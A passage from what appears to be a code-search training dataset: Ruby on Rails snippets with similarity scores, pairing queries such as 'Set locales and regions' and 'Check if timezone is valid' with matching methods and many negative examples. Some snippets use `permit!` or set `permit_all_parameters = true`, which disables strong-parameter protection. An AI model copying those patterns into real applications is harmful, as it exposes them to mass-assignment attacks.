"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Set locales and regions
|
def set(locales = nil, regions = nil)
@Locales = locales unless locales.nil?
@Regions = regions unless regions.nil?
self
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set(locales = nil, regions = nil, types = nil)\n @Locales = locales unless locales.nil?\n @Regions = regions unless regions.nil?\n @Types = types unless types.nil?\n self\n end",
"def available_locales=(locales); end",
"def set_locale\n end",
"def configure(&block)\n block.call @locale\n end",
"def set_locale\n I18n.locale = params[:locale]\n end",
"def set_locale\n I18n.locale = params[:locale]\n end",
"def set_locale\n I18n.locale = params[:locale]\n end",
"def set_locale\n I18n.locale = params[:locale] \n end",
"def locale=(locale); end",
"def set_locale\r\n I18n.locale = extract_locale_from_request\r\n end",
"def set_locale\r\n I18n.locale = extract_locale_from_request\r\n end",
"def set_locale\n I18n.locale = get_locale_from_params || I18n.default_locale\n end",
"def set_locale\n I18n.locale = get_locale_from_params || I18n.default_locale\n end",
"def default_locale=(locale); end",
"def set_locale\n # This requires a user model to work. I'm assuming there will be a \"current_user\" helper.\n # If we decide to use Devise, that will be default.\n # I18n.locale = current_user.language || I18n.default_locale\n end",
"def set_locale\n case params[:locale]\n when \"it\", \"en\"\n I18n.locale = params[:locale]\n else\n I18n.locale = I18n.default_locale\n end\n end",
"def set_locale\n #logger.debug \"* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}\"\n #logger.debug request.env['HTTP_ACCEPT_LANGUAGE']\n\n if session[:default_locale] != nil\n I18n.locale = (session[:default_locale]).to_sym\n mapping_locale_to_area\n return\n end\n\n logger.debug \"'#{I18n.locale}'\"\n\n I18n.locale = extract_locale_from_accept_language_header\n\n logger.debug \"'#{I18n.locale}'\"\n\n if I18n.locale == :\"zh\"\n \n logger.debug env['HTTP_ACCEPT_LANGUAGE'][3]\n # Ealin: 84 == 'T' (特別處理: zh_TW)\n if env['HTTP_ACCEPT_LANGUAGE'][3] == 84 || env['HTTP_ACCEPT_LANGUAGE'][3] == 116 || \\\n env['HTTP_ACCEPT_LANGUAGE'][3] == 'T' || env['HTTP_ACCEPT_LANGUAGE'][3] == 't'\n\n #\n # Ealin: 避免繁體與簡體可能混淆, 將繁體的locale name設為zh_tw\n #\n I18n.locale = :zh_tw\n end\n end\n\n # save mapped area to session[:default_area]\n mapping_locale_to_area\n \n #logger.debug I18n.locale.length\n #logger.debug \"* Locale set to '#{I18n.locale}'\"\n end",
"def set_locale\n set_I18n_locale(params[:locale]) # Merken in Client_Info_Cache\n\n respond_to do |format|\n format.js {render :js => \"window.location.reload();\" } # Reload der Sganzen Seite\n end\n end",
"def set_locale\n I18n.locale = Rails.configuration.oyambre.languages.first\n end",
"def set_locale\n \tI18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n \n #raise \"params[:locale] = #{params[:locale].present?}\"\n #raise \"params[:locale] = #{params[:locale].blank?}\"\n # Se non ho assegnato il parametro :locale allora gli passo la lingua impostata sul browser \n # (per testare usa Google chrome Extension: Locale Switcher)\n params[:locale] = request.env.fetch('HTTP_ACCEPT_LANGUAGE', '').scan(/[a-z]{2}/).first if params[:locale].blank?\n #raise \"params[:locale] = #{params[:locale]}\"\n\n case params[:locale]\n when \"it\", \"en\"\n I18n.locale = params[:locale]\n else\n I18n.locale = I18n.default_locale\n end\n end",
"def set_locale\n I18n.locale = \"fr\"\n end",
"def set_variables\n @countries = Country.sorted\n @time_periods = TimePeriod.sorted\n\n @locales = []\n I18n.available_locales.sort.each do |locale|\n @locales << [I18n.t(\"shared.locale.long.#{locale}\"), locale]\n end\n end",
"def i18n_set_locale(locale, &blk)\n locale = ::R18n::I18n.default.to_s if locale.nil?\n \n i18n = ::R18n::I18n.new(\n locale, \n ::R18n.default_places, \n off_filters: :untranslated, \n on_filters: :untranslated_html\n )\n ::R18n.set(i18n)\n yield if block_given?\n # return # NB!! needed to enable routes below to work\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n #I18n.locale = params[:lang] ? params[:lang] : I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale] unless params[:locale].blank?\n end",
"def set_locale\n \tI18n.locale = params[:locale] if params[:locale].present? \n end",
"def set_locale\n accept_language = request.headers['Accept-Language']\n return if accept_language.blank?\n\n available = %w{en ja}\n accept_language.split(',').each do |locale_set|\n locale = locale_set.split(';').first\n if available.include?(locale)\n I18n.locale = locale\n break\n end\n end\n end",
"def activate\n\tAVAILABLE_LOCALES.clear.merge!('en-US' => \"English US\", 'mx' =>\"Spanish ES\")\n end",
"def set_locale#Esta accion o metodo indica el idioma que esta en config/locales/es.yml\n I18n.locale = 'es'\n end",
"def translated_in=(locales)\n self._locales = locales.map(&:to_sym)\n end",
"def apply_locale; end",
"def set_locale\n I18n.locale = access_control.user.locale\n end",
"def set_locale\n if params[:set_locale]\n if I18n.available_locales.include?(params[:set_locale].to_sym)\n I18n.locale = params[:set_locale]\n else\n flash.now[:notice] = \"#{params[:set_locale]} translations not available\"\n logger.error flash.now[:notice]\n end\n end\n end",
"def set_locale\n I18n.locale = extract_locale_from_tld\n end",
"def set_locale\n I18n.locale = params[:locale] unless params[:locale].blank?\n end",
"def set_locale\n I18n.locale = I18n.default_locale\n end",
"def available_locales_set; end",
"def set_locale\n default_locale = 'en-US'\n Locale.set default_locale\n\n # fix the hostname to represent the reality \n # todo - move it so its only done once somehow\n APP_CONFIG[:hostname] = user_domain\n end",
"def set_locale\n default_locale = 'en-US'\n Locale.set default_locale\n\n # fix the hostname to represent the reality \n # todo - move it so its only done once somehow\n APP_CONFIG[:hostname] = user_domain\n end",
"def set_locale\n # if params[:locale] is nil then I18n.default_locale will be used\n I18n.locale = params[:locale]\n end",
"def set_locale\n I18n.locale = :es || I18n.default_locale\n end",
"def set_locale\n locales = ['en', 'en-AU']\n begin\n # Try to auto-detect it\n if request.headers['Accept-Language']\n browser_language = request.headers['Accept-Language'].split(',')[0] \n browser_language = browser_language.split('-')[0] + '-' + browser_language.split('-')[1].upcase\n session[:locale] = browser_language\n end\n session[:locale] = params[:locale] if params[:locale]\n session[:locale] = 'en-AU' if session[:locale] == 'en-GB'\n I18n.locale = locales.include?(session[:locale]) ? session[:locale] : I18n.default_locale\n rescue\n I18n.locale = I18n.default_locale\n end\n end",
"def set_locale\n I18n.locale = extract_locale_from_accept_language_header || I18n.default_locale\n # I18n.locale = params[:locale] if params[:locale].present?\n end",
"def set_locale\n if params[:controller] == \"rails_admin/main\"\n I18n.locale = :en\n else\n I18n.locale = :ru\n end\n end",
"def set_locale\n I18n.locale = session[:admin_locale] = 'fr'\n end",
"def set_locale\n I18n.locale = session[:admin_locale] = 'fr'\n end",
"def set_locale\n\t\tfname= \"#{self.class.name}.#{__method__}\"\n\t\tLOG.debug(fname) {\">>>>\"}\n\t\t#puts \"set_locale:params[:locale]=#{params[:locale]}\"\n\t\tif params[:locale]\n\t\t\tI18n.locale = params[:locale]\n\t\t\tsession[:lng] = I18n.locale\n\t\telse\n\t\t\tunless @current_user.nil?\n\t\t\t\t#puts \"set_locale:@current_user=#{@current_user} lng=#{@current_user.language}\"\n\t\t\t\tI18n.locale = @current_user.language\n\t\t\telse\n\t\t\t\tif session[:lng]\n\t\t\t\t\tI18n.locale = session[:lng]\n\t\t\t\telse\n\t\t\t\t\tI18n.locale = PlmServices.get_property(:LOCAL_DEFAULT)\n\t\t\t\t\tsession[:lng] = I18n.locale\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tLOG.debug(fname) {\"<<<<session=#{session}\"}\n\tend",
"def set_locale\n available = %w{en de}\n I18n.locale = params[:locale] || request.compatible_language_from(available)\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\n if logged_in?\n if !current_user.shainmaster.setting.nil?\n if !current_user.shainmaster.setting.local.nil? && current_user.shainmaster.setting.local != ''\n I18n.locale = current_user.shainmaster.setting.local\n end\n end\n end\n end",
"def set_i18n\n if params[:locale]\n if I18n.available_locales.include?(params[:locale].to_sym)\n I18n.locale = params[:locale]\n else\n flash.now[:notice] = \"#{params[:locale]} not available\"\n logger.error flash.now[:notice]\n end\n end\n end",
"def set_locale\n\t\tif current_user\n\t\t\tRails.logger.debug { \"Setting locale <#{current_user.country.locale.to_sym}> using current user: #{current_user}\" }\n\t\t\tI18n.locale = current_user.country.locale.to_sym\n\t\telse\n\t\t\tRails.logger.debug { \"Using default locale <#{I18n.default_locale}>, because no user is signed in.\" }\n\t\t\tI18n.locale = I18n.default_locale\n\t\tend\n\tend",
"def set_locale \n I18n.locale = extract_locale_from_tld || I18n.default_locale\n end",
"def set_locale\n session[:locale] = params[:locale] if params[:locale]\n I18n.locale = session[:locale] || I18n.default_locale\n locale_path = \"#{LOCALES_DIRECTORY}#{I18n.locale}.yml\"\n unless I18n.load_path.include? locale_path\n I18n.load_path << locale_path\n I18n.backend.send(:init_translations)\n end\n rescue Exception => err\n logger.error err\n flash.now[:notice] = \"#{I18n.locale} translation not available\"\n I18n.load_path -= [locale_path]\n I18n.locale = session[:locale] = I18n.default_locale\n end",
"def set_locale\n # Get the current path and request method (useful in the layout for changing the language)\n @current_path = request.env['PATH_INFO']\n @request_method = request.env['REQUEST_METHOD']\n\n # Try to get the locale from the parameters, from the session, and then from the navigator\n if params[:user_locale]\n # Store the locale in the session\n Locale.code = params[:user_locale][:code]\n session[:locale] = Locale.code\n elsif session[:locale]\n Locale.code = session[:locale]\n else\n Locale.code = local_case(get_valid_lang_from_accept_header)\n end\n\n logger.debug \"[globalite] Locale set to #{Locale.code}\"\n # render the page\n yield\n\n # reset the locale to its default value\n Locale.reset!\n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\nend",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\nend",
"def set_locale\n\t # if params[:locale] is nil then I18n.default_locale will be used\n \t\tlocale = params[:locale] || 'pt'\n\t \tI18n.locale = locale\n \t\tI18n.load_path += Dir[ File.join(Rails.root.to_s, 'lib', 'locale', '*.{rb,yml}') ]\n\tend",
"def set_locale\n I18n.default_locale = :pt_BR\n I18n.locale = params[:locale] unless params[:locale].blank?\n I18n.locale = I18n.default_locale if params[:locale].blank?\n end",
"def set_locale\n @locale = Locale.find(params[:id])\n end",
"def locale=(value); end",
"def set_country\n self.country = self.region.country if self.region && self.region.country\n end",
"def set_locale\n new_locale = find_matching_locale(extract_locale_from_subdomain || extract_locale_from_url)\n unless new_locale.nil?\n I18n.locale = new_locale\n else\n I18n.locale = I18n.default_locale\n end\n end",
"def set_locale\n locale = request.subdomains.first\n locale = (logged_in? ?\n current_user.profile.language :\n browser_language) if locale.blank? || !I18n.available_locales.include?(locale.to_sym)\n I18n.locale = locale\n end",
"def set_locale\n if params[:locale].nil?\n if session[:locale].nil?\n I18n.locale = :ar\n else\n I18n.locale = session[:locale]\n end\n else\n I18n.locale = params[:locale]\n session[:locale] = params[:locale]\n end\n end",
"def set_locale\n I18n.locale = params[:locale] if params[:locale].present?\n # \"en\"\n # params[:locale] if params[:locale].present?\n # current_user.locale\n # request.subdomain\n # request.env[\"HTTP_ACCEPT_LANGUAGE\"]\n # request.remote_ip\n end",
"def set_locale\n if current_user.blank?\n I18n.locale = valid_language\n logger.debug \"* Locale set to '#{I18n.locale}'\"\n else\n # TODO: Let user decide which language - to high prio in keytech environment\n I18n.locale = 'de' # current_user.language_id\n end\n end",
"def set_locale\n logger.debug \"* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}\"\n I18n.locale = params[:locale] || locale_from_header || I18n.default_locale\n logger.debug \"* Locale set to '#{I18n.locale}'\"\n end",
"def set_locale\n puts \"========#{Rails.env}\"\n # puts '********'\n # puts \"#{Rails.application.secrets}*********\"\n I18n.locale = session[:locale] || I18n.default_locale\n end",
"def locale=(value)\n @locale = value\n end",
"def locale=(value)\n @locale = value\n end",
"def set_locale\n if request.subdomain == 'en'\n I18n.locale = request.subdomain\n else\n I18n.locale = params[:locale] || I18n.default_locale\n end\n end",
"def set_locale\n logger.debug \"* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}\"\n I18n.locale = extract_locale_from_accept_language_header\n logger.debug \"* Locale set to '#{I18n.locale}'\"\n end",
"def set_regional\n @regional = Regional.find(params[:id])\n end",
"def set_locale\n I18n.locale = :pl\n end",
"def set_locale\n I18n.locale = 'en'\n return\n\n # working, but disabled until translations are done\n logger.debug \"* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}\"\n I18n.locale = extract_locale_from_accept_language_header\n logger.debug \"* Locale set to '#{I18n.locale}'\"\n end",
"def set_regional\n @regional = Regional.find(params[:id])\n end",
"def set_locale\n I18n.select_locale( params[:locale], session[:locale], I18n.from_http_header(request) )\n logger.info \"Using language: #{I18n.locale}\"\n session[:locale] = I18n.locale\n end",
"def set_locale\n available = TRANSLATIONS.map(&:code)\n if cookies[:locale] && available.include?(cookies[:locale])\n selected = cookies[:locale]\n end\n I18n.locale = selected ||\n http_accept_language.preferred_language_from(available) ||\n I18n.default_locale\n end",
"def set_user_language\n I18n.locale = 'es-VE'\n end",
"def locale_array=(locale_array)\n config.locale_array = locale_array\n end"
] |
[
"0.70689005",
"0.6920386",
"0.68463564",
"0.65672755",
"0.6469948",
"0.6411923",
"0.6411923",
"0.6380237",
"0.63767344",
"0.6287042",
"0.6249324",
"0.62423474",
"0.62423474",
"0.6151886",
"0.61494565",
"0.6144181",
"0.61401325",
"0.6130125",
"0.6124334",
"0.6116401",
"0.6114123",
"0.61108017",
"0.6106467",
"0.6095107",
"0.6093036",
"0.6093036",
"0.6093036",
"0.6093036",
"0.6082998",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60796595",
"0.60645515",
"0.6063611",
"0.606212",
"0.6058689",
"0.60484517",
"0.60293835",
"0.60236084",
"0.59970236",
"0.5985974",
"0.5981774",
"0.5978405",
"0.59694725",
"0.59673077",
"0.5963488",
"0.5963488",
"0.5963377",
"0.5962224",
"0.5962063",
"0.5947339",
"0.5941119",
"0.5923342",
"0.5923342",
"0.5875027",
"0.58702785",
"0.58539355",
"0.5852095",
"0.58342725",
"0.5824616",
"0.58214605",
"0.5817843",
"0.58058435",
"0.58058435",
"0.58042777",
"0.57978123",
"0.5791462",
"0.5789148",
"0.57694197",
"0.57681316",
"0.5767434",
"0.5754978",
"0.57543075",
"0.57475936",
"0.57453525",
"0.5730448",
"0.5725943",
"0.5725943",
"0.5723962",
"0.571145",
"0.5709945",
"0.5701611",
"0.5695008",
"0.568131",
"0.56788284",
"0.56764084",
"0.5673913",
"0.56676733"
] |
0.75364214
|
1
|
Check if timezone is valid
|
def isValid?
if @Valid.nil?
params = []
joins = ''
where = ''
if not @Locales.empty?
joins += ' LEFT JOIN `Locales` AS L ON TN.Locale = L.ID'
where = 'L.Name COLLATE NOCASE IN (' + Array.new(@Locales.count, '?').join(',') + ') AND '
params += @Locales
end
sql = "SELECT 1 FROM `WindowsZoneNames` TN #{joins} WHERE #{where}TN.`NameLowercase` = ? LIMIT 1"
params << @Name.downcase
@Valid = Data::Storage.getStatement(sql).execute(*params).count > 0
end
@Valid
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_timezone\n self.timezone = 'America/Los_Angeles' if self.timezone.nil?\n if not TZInfo::Timezone.get(self.timezone)\n errors.add(:timezone,'invalid timezone')\n end\n end",
"def has_timezone?\n md = self.to_s.match(GRAMMAR)\n md && !!md[2]\n end",
"def has_timezone?\n md = self.to_s.match(GRAMMAR)\n md && !!md[2]\n end",
"def has_timezone?\n md = self.to_s.match(GRAMMAR)\n md && !!md[2]\n end",
"def time_zone?\n !time_zone.blank?\n end",
"def time_zone_must_be_in_the_list\n unless time_zone.in?([-12.00,-11.00,-10.00,-9.30,-9.00,-8.00,-7.00,-6.00,-5.00,-4.30,-4.00,-3.30,-3.00,-2.00,-1.00,0.00,1.00,2.00,3.00,3.30,4.00,4.30,5.00,5.30,5.45,6.00,6.30,7.00,8.00,8.45,9.00,9.30,10.00,10.30,11.00,11.30,12.00,12.45,13.00,14.00])\n errors.add(:time_zone, \"'%s' is invalid.\" % time_zone)\n end\n end",
"def validate_timezone(timezone)\n TZInfo::Timezone.get( timezone.to_s.strip ).identifier\n end",
"def datetime_matcher\n proc do |value|\n handle_error(value) do\n datetime = value.in_time_zone(Time.zone)\n datetime.present?\n end\n end\n end",
"def has_floating_timezone?\n false\n end",
"def is_valid_utc_time?(utc_time)\n begin\n Time.parse(utc_time).strftime(\"%z\") == \"+0000\" &&\n Time.parse(utc_time).strftime(\"%Z\") == \"UTC\"\n rescue\n false\n end\n end",
"def check_scan(s, pattern)\n result = s.scan(pattern)\n raise InvalidPosixTimeZone, \"Expected '#{s.rest}' to match #{pattern} in POSIX-style time zone string.\" unless result\n result\n end",
"def has_timezone?\n properties.include?(\"has_timezone\")\n end",
"def timezone_check\n line_num = 0\n config_line = ''\n File.foreach(\"#{Rails.root}/config/application.rb\").with_index do |line, index |\n if line.include? \"config.time_zone\"\n line_num = index + 1\n config_line = line\n end\n break if line_num != 0\n end\n formatted_config_line = config_line.gsub(' ', '')\n if formatted_config_line.first == '#' || formatted_config_line.length == 19\n @@errors[\"/config/application.rb\"] = [{:timezone => line_num}]\n end\n end",
"def time_offset?(value)\n !value.blank? && value =~ UTC_OFFSET_REGEX\n end",
"def utc?() end",
"def correct_time?\n now = Time.zone.now\n now.hour == 8 && now.min < 5\n end",
"def valid_time_or_date?(value)\n value.is_a?(Time) || value.is_a?(Date) || value.is_a?(ActiveSupport::TimeWithZone)\n end",
"def valid?\n valid_at?(Time.now)\n end",
"def utc?\n zone.name == \"UTC\"\n end",
"def is_valid?\n is_valid_datetime?\n end",
"def supports_timestamp_timezones?\n true\n end",
"def supports_timestamp_timezones?\n true\n end",
"def supports_timestamp_timezones?\n true\n end",
"def parse_time_zone(date_string)\n result = sugarcube_detect(date_string).first\n result && result.timeZone\n end",
"def timezone_changed?\n changed.include?('timezone')\n end",
"def dead_zone?\n @test_time = @time if @test_time.nil?\n @test_time.dead_zone?\n end",
"def has_floating_timezone?\n tzid == :floating\n end",
"def date_is_in_past\n\t if date_and_time.present? && date_and_time < Time.now.in_time_zone(\"Pacific Time (US & Canada)\")\n\t \terrors.add(:date_and_time, \"can't be in the past\")\n\t end\n\tend",
"def end_time_is_valid?\n return false unless not_nil_and_string(self.end_time)\n return self.end_time.length > 0\n end",
"def datetime_format_and_existence_is_valid \n errors.add(:datetime_observation, 'datum musí být ve formátu DD.MM.YYYY') unless\n (@date =~ /\\d\\d\\.( )?\\d\\d\\.( )?\\d{4}/)# check the date's format\n errors.add(:datetime_observation, 'čas musí být ve formátu HH:MM') unless # check the time's format\n (@time =~ /^((0?[1-9]|1[012])(:[0-5]\\d){0,2}(\\ [AaPp][Mm]))$|^(([01]\\d|2[0-3])(:[0-5]\\d){0,2})$/)\n # build the complete date + time string and parse\n @datetime_str = @date + \" \" + @time\n errors.add(:datetime_observation, \"neexistuje\") if \n ((Time.zone.parse(@datetime_str) rescue ArgumentError) == ArgumentError)\n end",
"def valid_venue_time?\n valid_time = self.venue.matches.all? do |match|\n !(match.start_time >= self.start_time && match.start_time <= self.end_time || match.end_time >= self.start_time && match.end_time <= self.end_time)\n end\n errors.add(:start_time, \"The venue is not available for this time\") unless valid_time\n end",
"def check_validity!\n keys = CHECKS.keys\n options.slice(*keys).each do |option, value|\n next if is_time?(value) || value.is_a?(Proc) || value.is_a?(Symbol) || (defined?(ActiveSupport::TimeWithZone) and value.is_a? ActiveSupport::TimeWithZone)\n raise ArgumentError, \":#{option} must be a time, a date, a time_with_zone, a symbol or a proc\"\n end\n end",
"def check_status_location\n current_day_of_week = DateTime.now.in_time_zone(timezone).strftime(\"%A\")\n day_of_week = convert_day_of_week(current_day_of_week)\n hour_operations.select{|h| h.day == day_of_week}.any?{|h| h.is_open?(timezone)}\n end",
"def validate_timestamp(obj)\n if !obj[:timestamp].nil?\n if obj[:timestamp].match(/\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}.\\d{3}/)\n return true\n end\n end\n false\nend",
"def has_passed?\n\t\tTime.zone.at(starttime) < Time.zone.now\n\tend",
"def utc?\n zone == \"UTC\" || zone == \"UCT\"\n end",
"def registration_date_is_valid?\n begin\n USDateParse(self.registration_deadline)\n rescue\n return false\n end\n return true\n end",
"def start_time_is_valid?\n return false unless not_nil_and_string(self.start_time)\n return self.start_time.length > 0\n end",
"def valid_at?(time)\n if time.is_a?(Integer)\n time = Time.at(time)\n end\n\n if (self.not_after < time) || (self.not_before > time)\n false\n else\n true\n end\n end",
"def valid_checkout_at?\n return if @record&.checkout_at.nil?\n return true if datetime_parsed?(@record.checkout_at.to_s)\n\n error_message = I18n.t('models.entry.errors.invalid_datetime')\n add_error_record(:checkout_at, error_message)\n end",
"def parse(tz_string); end",
"def tz_timezone ; timezone? ? TZInfo::Timezone.get(@timezone) : nil ; end",
"def zone?\n false\n end",
"def valid?\n return false if @event_time.nil?\n return true\n end",
"def valid_tee_time?(datetime)\n before_5pm = (datetime.hour <= 16 && datetime.min <= 40)\n after_9am = datetime.hour >= 9\n before_end_date = (datetime + 3.hours) <= @end_time\n return before_5pm && after_9am && before_end_date\n end",
"def time_zone\n ActiveSupport::TimeZone[start_time_config.pattern_matches[:zone]].tap do |time_zone|\n raise(ConfigError, \"START_TIME time zone is not valid\") unless time_zone\n end\n end",
"def is_valid_flight_date(value)\n # init\n return_value = { correct: false, reason: [] }\n\n # rule 1 - check if date is valid ISO8601 format (using standard library Date)\n begin\n # convert an ISO8601 date into UTC\n parsed_date = Date.iso8601(value)\n rescue ArgumentError => exc\n return_value = { correct: false, reason: exc.to_s }\n else\n return_value = { correct: true, reason: [] }\n # ensure\n end\n\n # rule 2 - check if date is not out of range...\n\n # validation results are returned as a simple hash like: {correct: false, reason: exc.to_s}\n return_value\n end",
"def validate_time(time)\n time=~/^([01]?[0-9]|2[0-3]):[0-5][0-9]:[0-5][0-9]/\nend",
"def valid?(text)\n datetime?(text) || datetime?(clear_text(text))\n end",
"def create_timezone\n raise_not_implemented('create_timezone')\n end",
"def if?\r\n return false if disabled?\r\n return false if !day.blank? && Time.now.in_time_zone(tz).strftime(\"%A\").downcase != day\r\n return false if !at.blank? && Time.now.in_time_zone(tz).strftime('%H:%M') != at\r\n return true\r\n end",
"def timezone=(timezone)\n validator = EnumAttributeValidator.new('String', [\"Pacific/Niue\", \"Pacific/Pago_Pago\", \"Pacific/Honolulu\", \"Pacific/Rarotonga\", \"Pacific/Tahiti\", \"Pacific/Marquesas\", \"America/Anchorage\", \"Pacific/Gambier\", \"America/Los_Angeles\", \"America/Tijuana\", \"America/Vancouver\", \"America/Whitehorse\", \"Pacific/Pitcairn\", \"America/Dawson_Creek\", \"America/Denver\", \"America/Edmonton\", \"America/Hermosillo\", \"America/Mazatlan\", \"America/Phoenix\", \"America/Yellowknife\", \"America/Belize\", \"America/Chicago\", \"America/Costa_Rica\", \"America/El_Salvador\", \"America/Guatemala\", \"America/Managua\", \"America/Mexico_City\", \"America/Regina\", \"America/Tegucigalpa\", \"America/Winnipeg\", \"Pacific/Galapagos\", \"America/Bogota\", \"America/Cancun\", \"America/Cayman\", \"America/Guayaquil\", \"America/Havana\", \"America/Iqaluit\", \"America/Jamaica\", \"America/Lima\", \"America/Nassau\", \"America/New_York\", \"America/Panama\", \"America/Port-au-Prince\", \"America/Rio_Branco\", \"America/Toronto\", \"Pacific/Easter\", \"America/Caracas\", \"America/Asuncion\", \"America/Barbados\", \"America/Boa_Vista\", \"America/Campo_Grande\", 